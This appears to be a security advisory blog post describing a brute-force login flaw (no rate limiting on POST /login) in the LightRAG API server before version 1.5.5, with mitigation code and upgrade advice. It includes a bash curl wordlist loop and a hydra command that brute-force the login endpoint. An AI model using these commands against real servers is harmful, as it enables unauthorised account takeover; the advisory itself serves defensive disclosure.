Listen to this Post
LightRAG is a retrieval-augmented generation framework that exposes an HTTP API server for document management, knowledge graph operations, and query processing. The server includes an authentication mechanism through a `POST /login` endpoint defined in lightrag/api/lightrag_server.py. In versions prior to 1.5.5, this endpoint performs credential verification but implements no defense against repeated authentication attempts. The endpoint accepts an `OAuth2PasswordRequestForm` containing a username and password, then calls `auth_handler.verify_password()` to validate the credentials. If the password is incorrect, the server returns an HTTP 401 response with the message “Incorrect credentials”. Critically, there is no rate limiting, no account lockout mechanism, no delay between failed attempts, no backoff algorithm, and no attempt counter. A search for common rate-limiting libraries such as slowapi, or keywords like rate_limit, lockout, or `throttle` within the `lightrag/api/` directory returns zero results. This means an attacker with network access to the server can submit an unlimited number of password guesses at full request speed. The vulnerability is classified as CWE-307 (Improper Restriction of Excessive Authentication Attempts) and carries a CVSS 3.1 base score of 9.1, rated Critical. The attack vector is network-based, requires no privileges or user interaction, and has low complexity. Successful exploitation grants the attacker full authenticated access to all indexed documents, the knowledge graph, and administrative operations. This issue is fixed in version 1.5.5, which introduces an in-process sliding-window rate limiter keyed on client IP and username.
DailyCVE Form:
Platform: LightRAG API
Version: Prior 1.5.5
Vulnerability: Brute-force login
Severity: Critical 9.1
date: 2026-09-22
Prediction: 2026-10-15
What Undercode Say
Search for rate-limiting mechanisms in the codebase grep -r "slowapi|rate_limit|lockout|throttle" lightrag/api/ Expected result: no matches
lightrag/api/lightrag_server.py:2161
@app.post("/login")
async def login(form_data: OAuth2PasswordRequestForm = Depends()):
if not auth_handler.verify_password(username, form_data.password):
raise HTTPException(status_code=401, detail="Incorrect credentials")
No rate limit / lockout / backoff / CAPTCHA / attempt counter
Brute-force /login with a wordlist, no throttling
while IFS= read -r pass; do
code=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST http://<TARGET>:9621/login \
-d "username=admin&password=${pass}")
[ "$code" = "200" ] && echo "[bash] $pass" && break
done < /usr/share/wordlists/rockyou.txt
Exploit: (Educational Purposes!)
Enumerate valid usernames via timing or response differences Then brute-force the target account Example: using hydra against the LightRAG login endpoint hydra -l admin -P /usr/share/wordlists/rockyou.txt \ <TARGET> http-post-form \ "/login:username=^USER^&password=^PASS^:F=Incorrect credentials"
Protection: from this CVE
Implement rate limiting using slowapi or similar
Example: sliding-window rate limiter
from slowapi import Limiter
from slowapi.util import get_remote_address
limiter = Limiter(key_func=get_remote_address)
@app.post("/login")
@limiter.limit("5/minute")
async def login(form_data: OAuth2PasswordRequestForm = Depends()):
...
Add account lockout after N failed attempts Example: track failures per IP + username LOGIN_MAX_FAILED_ATTEMPTS=5 LOGIN_LOCKOUT_WINDOW_SECONDS=300 Return HTTP 429 with Retry-After header when locked
Upgrade to LightRAG 1.5.5 or later pip install --upgrade lightrag-hku>=1.5.5
Impact
Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
